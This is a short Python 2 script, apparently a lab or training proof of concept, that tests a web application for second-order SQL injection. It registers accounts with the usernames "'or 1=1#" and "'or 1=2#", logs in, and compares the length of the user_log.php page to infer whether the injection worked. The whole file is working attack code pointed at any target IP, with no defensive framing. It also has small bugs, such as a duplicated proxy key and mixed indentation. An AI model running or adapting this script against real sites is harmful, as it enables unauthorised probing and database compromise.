import requests
import sys
import  hashlib
import urllib

proxies = {'http':'127.0.0.1:8080', 'http':'127.0.0.1:8080'} 

def sha1(password):
	m= hashlib.sha1()
	m.update(password)
	return m.hexdigest()
 
 
def gen_hash(password, token):
	m= hashlib.sha1()
	m.update(password + token)
	return m.hexdigest()
	


def login(ip, query):
	
														# registered
		target = "http://%s//register.php" % (ip) 
		password = 'password'
		passhashed = sha1(password)
		
		data = {
			"form_password_hidden" : passhashed,
			"username" : query,
			"password" : "",
			"register" : 'submit'	
		}
		
		r = requests.post(target, data=data, allow_redirects=True)
	
														# login
		target = "http://%s//login.php" % (ip)
		token = 'token'
		password = 'password'
		passhashed = sha1(password)
		hashed = gen_hash(passhashed, token)
			
		data = {
			"form_password_hidden" : hashed,
			"username": query,
			"password" : "",
			"submit" : 'submit',
			"token" : 'token'
		}
		s  = requests.Session()
		r = s.post(target, data=data)
		res = r.text
		status_code = r.status_code
		
		if 'welcome'in res or 'Welcome' in res:
														# open log files
			target = "http://%s//user_log.php" % (ip)
			r = s.get(target,proxies=proxies)
			content_lenght = int(r.headers['Content-Length'])
			print content_lenght
			if (content_lenght > 750):
				return True
		
			else:
				return False	
	



def main():
    if len(sys.argv) != 2:
        print "(+) usage: %s <target>" % sys.argv[0]
        print '(+) eg: %s 192.168.1.100' %sys.argv[0]
    	sys.exit(-1)

    ip = sys.argv[1]

    query = "'or 1=1#"
    first_query = login(ip, query)
    query = "'or 1=2#"
    second_query = login(ip, query)
    if first_query != second_query:
        print '(+)Possible SQL injection found'
    else:
        print '(-)No SQL injection found'

if __name__ == "__main__":
    main()
